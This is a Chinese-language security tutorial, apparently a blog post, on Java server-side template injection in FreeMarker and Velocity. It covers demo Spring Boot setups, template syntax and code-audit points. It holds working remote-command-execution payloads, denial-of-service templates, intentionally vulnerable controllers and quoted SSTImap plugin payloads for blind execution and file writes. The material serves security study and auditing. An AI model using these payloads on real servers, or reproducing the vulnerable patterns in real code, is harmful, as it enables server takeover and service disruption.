Java SSTI

本文最后更新于 2025年12月23日 晚上

引言

模板是一种预定义的文档结构或格式,其中包含静态内容和动态占位符(变量、表达式、控制语句等)。在 Web 开发中,模板通常用于生成 HTML 页面或其他文本输出。

常见的模板引擎包括:

  • Python:Jinja2、Mako、Django Templates
  • Java:Thymeleaf、Freemarker、Velocity
  • PHP:Twig、Smarty
  • JavaScript(服务端):EJS、Handlebars

使用模板的主要目的是实现 关注点分离(Separation of Concerns),具体优势包括:

  • 前后端解耦:业务逻辑(后端代码)与展示逻辑(HTML 页面)分离,便于开发和维护。
  • 动态内容生成:可根据用户请求、数据库数据等动态填充页面内容,而无需硬编码 HTML。
  • 复用性高:模板可被多次调用,传入不同参数生成不同页面(如用户资料页、商品详情页等)。
  • 提高开发效率:模板引擎通常提供循环、条件判断、继承等语法,简化复杂页面的构建。

Freemarker

http://freemarker.foofun.cn/

demo

JAVA17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>4.0.1</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>org.example</groupId>
<artifactId>ssti</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>ssti</name>
<description>ssti</description>
<url/>
<licenses>
<license/>
</licenses>
<developers>
<developer/>
</developers>
<scm>
<connection/>
<developerConnection/>
<tag/>
<url/>
</scm>
<properties>
<java.version>17</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-freemarker</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-freemarker-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

</project>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
├─src
│ ├─main
│ │ ├─java
│ │ │ └─org
│ │ │ └─example
│ │ │ └─ssti
│ │ │ │ SstiApplication.java
│ │ │ │
│ │ │ └─controller
│ │ │ HelloController.java
│ │ │
│ │ └─resources
│ │ │ application.properties
│ │ │ application.yml
│ │ │
│ │ └─templates
│ │ hello.ftl
│ │
│ └─test
│ └─java
│ └─org
│ └─example
│ └─ssti
│ SstiApplicationTests.java

└─target
├─classes
│ │ application.properties
│ │ application.yml
│ │
│ ├─org
│ │ └─example
│ │ └─ssti
│ │ │ SstiApplication.class
│ │ │
│ │ └─controller
│ │ HelloController.class
│ │
│ └─templates
│ hello.ftl

application.yml 配置文件,设置模板路径等freemarker的配置

1
2
3
4
5
6
7
8
9
10
server:
port: 8080

spring:
freemarker:
cache: false
charset: UTF-8
content-type: text/html
suffix: .ftl
template-loader-path: classpath:/templates/

hello.ftl 就是要渲染的html模板文件

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello FreeMarker</title>
</head>
<body>
<h1>Hello, ${name!"none"} </h1> <!-- 默认值none-->
</body>
</html>

HelloController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example.ssti.controller;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestParam;

import java.util.Date;

@Controller
public class HelloController {
@GetMapping("/hello")
public String hello( @RequestParam String name,Model model){
model.addAttribute("name",name); //设置传递给模板的值
return "hello";
}

}

语法和标签

注释<#– xxx–>

1
<#-- 这是 FreeMarker 注释,不会输出到结果中 -->

${xxx} 插值

用于在模板中插入变量的值。

支持渲染的数据类型

Java 类型 渲染方式
String 直接输出
int, Integer, long, Long 调用 toString()
boolean, Boolean 输出 true/false
null 默认报错(除非配置了 ?default!
java.util.Date ${date?datetime}/${date?string("yyyy-MM-dd")}
Map<K,V> ${map.key} 等价于 map.get("key")(key 必须是字符串)
JavaBean 对象 访问getter/public方法
枚举(Enum public enum Status { ACTIVE, INACTIVE }// ${user.status} → "ACTIVE"

如通过传递对象,调用其方法

1
<h1>Hello, ${info.name()} age:${info.age()} </h1>

record(Java14+)不用构造函数就可以实例化

#xxx 指令

# 开头,用于控制逻辑流程、宏定义等。

  1. 条件判断:#if, #elseif, #else
1
2
3
4
5
6
7
<#if price < 50>
便宜
<#elseif price < 100>
中等
<#else>
昂贵
</#if>
  1. 循环 #list
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    <#list users as user>
<p>${user_index + 1}. ${user}</p>
</#list>


package org.example.ssti.controller;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestParam;


@Controller
public class HelloController {
@GetMapping("/hello")
public String hello(Model model){
String[] users = {"user1","user2","user3"};
model.addAttribute("users",users);
return "hello";

}

}

user_index:当前索引(从 0 开始)

  1. 包含模板 #include
1
2
3
4
5
6
7
8
9

<#include "header.ftl">
<body>
<h1>
<#list users as user>
<p>${user_index + 1}. ${user}</p>
</#list>
</h1>

  1. 定义宏 @#macro
1
2
3
<#macro nowtime time>
nowtime is ${time}!
</#macro>
  1. 导入宏库 #import
1
2
<#import "time.ftl" as time>
<@time.nowtime time="2025"/>

  1. 赋值 #assign
1
2
<#assign x = 10>
<#assign y = x + 5>

也可用于创建复杂对象:

1
<#assign time = {"year": "2025", "moon": 12}>

  1. 局部变量 #local

仅在宏内部使用。

1
2
3
4
<#macro nowtime time>
<#local nexttime=2026>
now time is ${time!nexttime}!
</#macro>
  1. 设置配置 #setting
1
<#setting number_format="0.##">

  1. 停止处理 #stop

调试时使用,立即停止模板处理。

  1. <#break>类似于循环中断,只能在 #list里使用
1
2
3
4
5
6
7
8
9
<#list 1..10 as i>
<#if i == 5>
<#break>
</#if>
${i} |
</#list>

//输出
1 | 2 | 3 | 4 |

内建函数(Built-ins)

通过 ? 调用,例如:

1
2
3
4
5
6
7
${name?upper_case}        // 转大写
${price?string.currency} // 格式化货币
${list?size} // 列表长度
${date?date} // 仅日期部分
${text?html} // HTML 转义
${text?url} // URL 编码
${obj?exists} // 判断是否空值(已弃用,推荐用 ??) ??返回true当且仅当存在且不是 Java 的 null

攻击面

不像其他模板的ssti,freemarker的ssti无法通过传参的方式(业务十分少见)来利用,一般需要有模板编辑/上传功能,即需要有能直接编写模板代码的手段。并且在freemarker高版本的配置中能rce的相关功能和函数是默认禁止的。

配置项 默认值 风险说明
api_builtin_enabled false(自 2.3.22 起) 启用后可通过 ?api调用 Java 方法
newBuiltinClassResolver UNRESTRICTED_RESOLVER无限制 可通过 ?new 实例化任意类
允许用户控制模板源码 最高风险
数据模型包含危险工具类 Execute, ObjectConstructor

代码审计时查看是否有以下配置

1
2
config.setAPIBuiltinEnabled(true);   // 允许 ?api
cfg.setNewBuiltinClassResolver(UNRESTRICTED_RESOLVER); // 允许 ?new

一些探测可利用点的payload

  1. 探测 ?api 是否启用
1
2
3
4
${"a"?api.class.name}

返回 java.lang.String → ?api 启用
报错 Unknown built-in 或 api is not allowed → 禁用
  1. 探测 ?new 是否启用
1
2
3
4
${"java.lang.String"?new("test")}

返回 test → ?new 启用
报错 Instantiation of new not allowed → 禁用
  1. 基础信息探测
1
2
3
${1+2}                          → 返回 3(确认是 FreeMarker)
${.now} → 返回当前时间
${.version} → 返回 FreeMarker 版本(如 2.3.32)
  1. 模板上下文变量获取
  • 信息收集:了解模板中有哪些对象可用,从而寻找可利用的入口(如 requestspringContextapplication 等)。
  • 判断上下文:确认是否处于 Spring Boot、Struts、自定义应用等环境中。
1
2
3
4
5
6
7
8
9
${.data_model?keys?join(',')}

//列出当前模板上下文(data model)中所有可用的变量名
.data_model:FreeMarker 内置变量,表示传递给模板的整个数据模型(即 Java 对象的根上下文)。
?keys:获取该模型的所有键(属性名/变量名),返回一个序列(sequence)。
?join(','):将序列用逗号连接成字符串。

//盲注形式
${1/(((.data_model?keys?join(','))?matches('^blabla.*')?string('1','0')?eval))}
  1. 其他payload
  • 通过构造响应超时或者崩溃页面测试payload是否生效
1
2
3
4
5
6
7
8
${'totoooooooooooooooooooooooooo'?matches('t((.*)*)*x')?string}
//create huge list and raise java.lang.OutOfMemoryError: Java heap space

${(1..99999999999999999999999999)?join(',')}
//内存耗尽攻击(OOM)

${.locale_object.setDefault(.locale_object.forLanguageTag('jp'))}
//全局 Locale 篡改

利用场景demo

用户输入直接作为 FreeMarker 模板源码渲染。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.ssti.controller;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

import jakarta.servlet.http.HttpServletResponse;
import java.io.StringReader;
import java.io.IOException;
import java.util.HashMap;

@Controller
public class TemplateController {

@GetMapping("/render")
public void render(@RequestParam String tpl, HttpServletResponse resp) throws IOException {
try {
Configuration cfg = new Configuration(Configuration.VERSION_2_3_34);
Template template = new Template("user", new StringReader(tpl), cfg); //模板完全可控
template.process(new HashMap<>(), resp.getWriter());
} catch (TemplateException e) {
resp.getWriter().write("Error: " + e.getMessage());
}
}
}
1
$%7B.version%7D

1
2
3
4
5
6
7
8
?tpl=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22calc%22%29%7D"

?tpl=<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("calc")}

?tpl=<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}



数据模型包含 Execute 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example.ssti.controller;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import freemarker.template.utility.Execute;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

import java.io.StringReader;
import java.io.IOException;
import java.util.HashMap;

@Controller
public class TemplateController {

@GetMapping("/render")
public void render(@RequestParam String cmd, HttpServletResponse resp) throws IOException {
try {
Configuration cfg = new Configuration(Configuration.VERSION_2_3_34);
String tpl = "Output: ${exec(cmd)}";
Template template = new Template("fixed", new StringReader(tpl), cfg);

template.process(new HashMap<String, Object>() {{
put("cmd", cmd);
put("exec", new Execute()); // 注入危险对象
}}, resp.getWriter());
} catch (TemplateException e) {
resp.getWriter().write("Error: " + e.getMessage());
}
}
}

sstimap

https://github.com/vladko312/SSTImap/

sstimap支持freemarker的扫描和利用

在plugins\java\freemarker.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from utils import rand
from plugins.languages import java


class Freemarker(java.Java):
priority = 5
plugin_info = {
"Description": """Apache Freemarker template engine""",
"Authors": [
"Emilio @epinna https://github.com/epinna", # Original Tplmap payload
"Vladislav Korchagin @vladko312 https://github.com/vladko312", # Updates for SSTImap
"Nicolas Verdier @n1nj4sec https://github.com/n1nj4sec", # Boolean error-based blind oracle
],
"References": [
"Writeup: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9",
],
"Engine": [
"Homepage: https://freemarker.apache.org/",
"Github: https://github.com/apache/freemarker",
],
}

def init(self):
self.update_actions({
'render': {
'render': '{code}',
'header': '${{({header[0]}+{header[1]})?c}}',
'trailer': '${{({trailer[0]}+{trailer[1]})?c}}',
'test_render': f"""${{{rand.randints[0]}}}<#--{rand.randints[1]}-->${{{rand.randints[2]}}}""",
'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}'
},
'render_error': {
'render': '{code}',
'header': '<#--${{1/0}}-->${{(({header[0]}+{header[1]})?c+',
'trailer': '+({trailer[0]}+{trailer[1]})?c)?new()}}',
'test_render': f"""({rand.randints[0]})?c+({rand.randints[2]})?c""",
'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}'
},
'boolean': {
'call': 'inject',
'test_bool_true': "${1/((1.0==1.0)?string('1','0')?eval)}",
'test_bool_false': "${1/((1.0==0.1)?string('1','0')?eval)}",
'verify_bool_true': "${1/((2>1)?string('1','0')?eval)}",
'verify_bool_false': "${1/((1>2)?string('1','0')?eval)}"
},
'evaluate': {
'call': 'render',
'evaluate': """${{"freemarker.template.utility.Execute"?new()("/bin/bash -c {{echo,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}")?eval }}""",
'test_eval': '"executed"?replace("xecu", "valua")',
'test_eval_expected': 'evaluated'
},
'evaluate_error': {
'call': 'render',
'evaluate': """("freemarker.template.utility.Execute"?new()("/bin/bash -c {{echo,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}")?eval)"""
},
# Not using execute here since it's rendered and requires set headers and trailers
'evaluate_boolean': {
'call': 'inject',
'evaluate_blind': """${{1/("freemarker.template.utility.Execute"?new()("bash -c {{echo,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}")?eval?has_content?string('1','0')?eval) }}"""
},
'evaluate_blind': {
'call': 'inject',
'evaluate_blind': """${{"freemarker.template.utility.Execute"?new()("bash -c {{echo,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}")?eval?has_content?string("freemarker.template.utility.Execute"?new()("sleep {delay}"),'0') }}"""
},
'execute': {
'call': 'render',
'execute': """${{"freemarker.template.utility.Execute"?new()("/bin/bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}") }}"""
},
'execute_error': {
'call': 'render',
'execute': """("freemarker.template.utility.Execute"?new()("/bin/bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}"))"""
},
# Not using execute here since it's rendered and requires set headers and trailers
# Hackish way to check success
'execute_boolean': {
'call': 'inject',
'execute_blind': """${{1/("freemarker.template.utility.Execute"?new()("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}&&{{echo,SSTIMAP}}")?chop_linebreak?ends_with("SSTIMAP")?string('1','0')?eval) }}"""
},
# Not using execute here since it's rendered and requires set headers and trailers
'execute_blind': {
'call': 'inject',
'execute_blind': """${{"freemarker.template.utility.Execute"?new()("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}&&{{sleep,{delay}}}") }}"""
},
'write': {
'call': 'inject',
'write': """${{"freemarker.template.utility.Execute"?new()("bash -c {{tr,_-,/+}}<<<{chunk_b64}|{{base64,-d}}>>{path}") }}""",
'truncate': """${{"freemarker.template.utility.Execute"?new()("bash -c {{echo,-n,}}>{path}") }}""",
},
})

self.language += ':freemarker'

self.set_contexts([
# Text context, no closures
{'level': 0},
{'level': 1, 'prefix': '{closure}}}', 'suffix': '', 'closures': java.ctx_closures},
# This handles <#assign s = %s> and <#if 1 == %s> and <#if %s == 1>
{'level': 2, 'prefix': '{closure}>', 'suffix': '', 'closures': java.ctx_closures},
{'level': 5, 'prefix': '-->', 'suffix': '<#--'},
{'level': 5, 'prefix': '{closure} as a></#list><#list [1] as a>', 'suffix': '', 'closures': java.ctx_closures},
])


render用于测试模板是否可被渲染

利用${xxx}结合注释,预期输出为两个随机数拼接(注释中的数字被丢弃)

render_error用报错的方式测试模板是否可被渲染,依赖与错误回显/http状态码

  • ${1/0} 会抛出除零异常,可能在响应中暴露错误信息。
  • 结合 ?new() 尝试构造恶意对象。

布尔盲注测试

  • (1.0==1.0) 为真 → '1'eval 成功 → 不报错。
  • (1.0==0.1) 为假 → '0'1/0 → 报错。
  • 通过是否返回 500 错误判断布尔值。

命令执行测试

  • 通过字符串替换测试

通过报错命令执行

各种payload,包括布尔盲注、时间盲注、写文件

上下文逃逸

这些定义了在不同模板上下文中如何“闭合”原有语法并注入恶意代码。例如:

  • <#-- 用户输入 --> 中,可用 --> ${malicious} <#-- 逃逸注释。
  • <#if user_input> 中,需闭合 if 语句:1} > ${malicious} <#--

velocity

https://velocity.apache.org/

demo

pom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<properties>
<java.version>17</java.version>
</properties>
<dependencies>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity-engine-core</artifactId>
<version>2.4.1</version>
</dependency>

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>

</dependencies>

VelocityConfig.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example.ssti;

import org.apache.velocity.app.VelocityEngine;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.Properties;

@Configuration
public class VelocityConfig {

@Bean
public VelocityEngine velocityEngine() {
Properties props = new Properties();
props.setProperty("resource.loader", "class");
props.setProperty("class.resource.loader.class",
"org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
props.setProperty("input.encoding", "UTF-8");
props.setProperty("output.encoding", "UTF-8");
props.setProperty("runtime.log.logsystem.class", "org.apache.velocity.runtime.log.NullLogSystem");

VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.init(props);
return velocityEngine;
}
}

helloController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example.ssti.controller;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.StringWriter;


@Controller
public class helloController {

@Autowired
private VelocityEngine velocityEngine;

@GetMapping("/hello")
@ResponseBody
public String hello() {
VelocityContext context = new VelocityContext();
context.put("name", "World");
context.put("time", new java.util.Date());

Template template = velocityEngine.getTemplate("templates/hello.vm", "UTF-8");
StringWriter writer = new StringWriter();
template.merge(context, writer);

return writer.toString();
}
}

hello.vm

1
2
3
4
5
6
7
8
<!-- src/main/resources/templates/hello.vm -->
<html>
<head><title>Hello Velocity</title></head>
<body>
<h1>Hello, $name!</h1>
<p>Current time: $time</p>
</body>
</html>

语法和指令

$xxx/${xxx}变量引用

1
2
3
4
5
6
Hello, $name!
Welcome ${user}land! ## 避免被解析为 $userland
//对象属性/方法
Name: $person.name
Age: $person.getAge()

#set 赋值

1
2
3
#set($name = "Tom")
#set($total = $price * $quantity)
#set($list = [1, 2, 3])

#if / #elseif / #else:条件判断

1
2
3
4
5
6
7
8
9
10
11
#if($age >= 18)
成年人
#elseif($age > 12)
青少年
#else
儿童
#end

//支持的比较操作符:
==, !=, <, <=, >, >=
也可用 &&, ||, !

#foreach:循环

1
2
3
4
5
6
7
8
#foreach($item in $items)
- $item
#end

//获取索引(从 0 开始):
#foreach($item in $items)
$velocityCount. $item ## $velocityCount 从 1 开始
#end

#macro:定义宏(类似函数)

1
2
3
4
5
6
#macro(greet $name)
<p>Hello, $name!</p>
#end

## 使用
#greet("Alice")

#include 直接插入文件内容(不解析)

1
#include("header.vm")

#parse 插入模板解析

1
#parse("footer.vm"):插入并解析模板内容(可含 Velocity 语法)

#import 导入外部类

1
2
#import("com.example.MyClass")
//使用#import语句可以导入外部Java类,以便在模板中使用其方法和属性。

#stop:停止模板渲染(调试用)

##注释

1
2
3
4
5
6
## 单行注释

#*
多行注释
可以跨行
*#

字符串拼接

1
#set($greeting = "Hello, " + $name + "!")

两个触发点

evaluate

攻击面:不预设模板而是直接将用户输入作为模板内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example.ssti.controller;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import java.io.StringWriter;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class evaluateController {
private final VelocityEngine velocityEngine;
public evaluateController(VelocityEngine velocityEngine) {
this.velocityEngine = velocityEngine;
}

@GetMapping("/evl")
public String hello(@RequestParam(defaultValue = "World") String name) {
// 直接将用户输入作为模板内容
String templateStr = "Hello, " + name + "!";

VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
velocityEngine.evaluate(context, writer, "SSTI Demo", templateStr);

return writer.toString();
}
}

代码审计重点:

  • 用户输入作为模板内容
  • 对用户输入调用了.evaluate()
  • 版本<=1.7
1
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

同时也存在xss

1
<script>alert('XSS')</script>

merge

实际上并不是merge造成的漏洞,根源在于不安全的设计让其模板文件名可控,导致可以执行任意模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example.ssti.controller;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import java.io.StringWriter;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class evaluateController {
private final VelocityEngine velocityEngine;
public evaluateController(VelocityEngine velocityEngine) {
this.velocityEngine = velocityEngine;
}

@GetMapping("/evl")
public String hello(@RequestParam String name) {
// 获取用户输入的模板文件
Template tpl = velocityEngine.getTemplate(name,"UTF-8");
VelocityContext context = new VelocityContext();
context.put("name","admin");
StringWriter writer = new StringWriter();
tpl.merge(context,writer); //合并模板
return writer.toString();
}
}

审计重点:

  • 能够上传文件(要保证上传后内容字符一致)
  • 调用了velocityEngine.getTemplate().merge(),并且模板文件名可控

回显payload

1
2
3
4
5
6
7
8
9
10
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('whoami'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

sstimap

plugins\java\velocity.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from plugins.languages import java
from utils import rand


class Velocity(java.Java):
priority = 5
plugin_info = {
"Description": """Apache Velocity template engine""",
"Authors": [
"Henshin @henshin https://github.com/henshin", # Original payload for Tplmap
"Emilio @epinna https://github.com/epinna", # Original Tplmap payload
"Vladislav Korchagin @vladko312 https://github.com/vladko312", # Updates for SSTImap
],
"Engine": [
"Homepage: https://velocity.apache.org/index.html",
"Github: https://github.com/apache/velocity-engine",
],
}

def init(self):
self.update_actions({
'render': {
'render': '{code}',
'header': '#set($h={header[0]}+{header[1]})${{h}}',
'trailer': '#set($t={trailer[0]}+{trailer[1]})${{t}}',
'test_render': f'#set($c={rand.randints[0]}*{rand.randints[1]})${{c}}',
'test_render_expected': f'{rand.randints[0]*rand.randints[1]}'
},
'render_error': {
'render': '{code}',
'header': '#set($h={header[0]}+{header[1]})',
# Body needs to set b as the output
'trailer': '#set($t={trailer[0]}+{trailer[1]})#set($r=("Y:/A:/"+$h+$b+$t))#include($r)',
'test_render': f'#set($b={rand.randints[0]}*{rand.randints[1]})',
'test_render_expected': f'{rand.randints[0]*rand.randints[1]}'
},
'boolean': {
'call': 'inject',
'test_bool_true': '#if(false)#include("Y:/A:/true")#end',
'test_bool_false': '#if(true)#include("Y:/A:/false")#end',
'verify_bool_true': '#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end',
'verify_bool_false': '#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end'
},
'execute': {
# This payload comes from henshin's contribution on
# issue #9.
'call': 'render',
'execute': """#set($engine="")\
#set($run=$engine.getClass().forName("java.lang.Runtime"))\
#set($runtime=$run.getRuntime())\
#set($proc=$runtime.exec("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}"))\
#set($null=$proc.waitFor())\
#set($istr=$proc.getInputStream())\
#set($chr=$engine.getClass().forName("java.lang.Character"))\
#set($output="")\
#set($string=$engine.getClass().forName("java.lang.String"))\
#foreach($i in [1..$istr.available()])\
#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))\
#end\
${{output}}\
"""
},
'execute_error': {
'call': 'render',
'execute': """#set($engine="")\
#set($run=$engine.getClass().forName("java.lang.Runtime"))\
#set($runtime=$run.getRuntime())\
#set($proc=$runtime.exec("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}"))\
#set($null=$proc.waitFor())\
#set($istr=$proc.getInputStream())\
#set($chr=$engine.getClass().forName("java.lang.Character"))\
#set($b="")\
#set($string=$engine.getClass().forName("java.lang.String"))\
#foreach($i in [1..$istr.available()])\
#set($b=$b.concat($string.valueOf($chr.toChars($istr.read()))))\
#end\
"""
},
'execute_boolean': {
'call': 'inject',
'execute_blind': """#set($engine="")\
#set($run=$engine.getClass().forName("java.lang.Runtime"))\
#set($runtime=$run.getRuntime())\
#set($proc=$runtime.exec("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}"))\
#set($null=$proc.waitFor())\
#set($res=$proc.exitValue())\
#if($res != 0)#include("Y:/A:/xxx")#end\
"""
},
'execute_blind': {
'call': 'inject',
'execute_blind': """#set($engine="")\
#set($run=$engine.getClass().forName("java.lang.Runtime"))\
#set($runtime=$run.getRuntime())\
#set($proc=$runtime.exec("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,-d}})}}&&{{sleep,{delay}}}"))\
#set($null=$proc.waitFor())\
#set($istr=$proc.getInputStream())\
#set($chr=$engine.getClass().forName("java.lang.Character"))\
#set($output="")\
#set($string=$engine.getClass().forName("java.lang.String"))\
#foreach($i in [1..$istr.available()])\
#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))\
#end\
${{output}}\
"""
},
'write': {
'call': 'inject',
'write': """#set($engine="")\
#set($run=$engine.getClass().forName("java.lang.Runtime"))\
#set($runtime=$run.getRuntime())\
#set($proc=$runtime.exec("bash -c {{tr,_-,/+}}<<<{chunk_b64}|{{base64,-d}}>>{path}"))\
#set($null=$proc.waitFor())\
#set($istr=$proc.getInputStream())\
#set($chr=$engine.getClass().forName("java.lang.Character"))\
#set($output="")\
#set($string=$engine.getClass().forName("java.lang.String"))\
#foreach($i in [1..$istr.available()])\
#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))\
#end\
${{output}}\
""",
'truncate': """#set($engine="")\
#set($run=$engine.getClass().forName("java.lang.Runtime"))\
#set($runtime=$run.getRuntime())\
#set($proc=$runtime.exec("bash -c {{echo,-n,}}>{path}"))\
#set($null=$proc.waitFor())\
#set($istr=$proc.getInputStream())\
#set($chr=$engine.getClass().forName("java.lang.Character"))\
#set($output="")\
#set($string=$engine.getClass().forName("java.lang.String"))\
#foreach($i in [1..$istr.available()])\
#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))\
#end\
${{output}}\
"""
},
})

self.set_contexts([
# Text context, no closures
{'level': 0},
{'level': 1, 'prefix': '{closure})', 'suffix': '', 'closures': java.ctx_closures},
# This catches
# #if(%s == 1)\n#end
# #foreach($item in %s)\n#end
# #define( %s )a#end
{'level': 3, 'prefix': '{closure}#end#if(1==1)', 'suffix': '', 'closures': java.ctx_closures},
{'level': 5, 'prefix': '*#', 'suffix': '#*'},
])

render测试是否是velocity

  • header拼接字符串输出
  • test_render: 在 body 中设置 $b = rand1 * rand2,为随机数乘法运算,预期返回乘积
  • test_render_expected: 同样是预期的乘积。

render_error报错探测

  • trailer: 构造一个非法路径 Y:/A:/... 并调用 #include($r),这会因文件不存在而抛出异常,异常信息中可能包含 $h+$b+$t 的拼接内容(其中 $b 是 body 中设置的输出)。
  • test_render: 在 body 中设置 $b = rand1 * rand2
  • test_render_expected: 同样是预期的乘积。

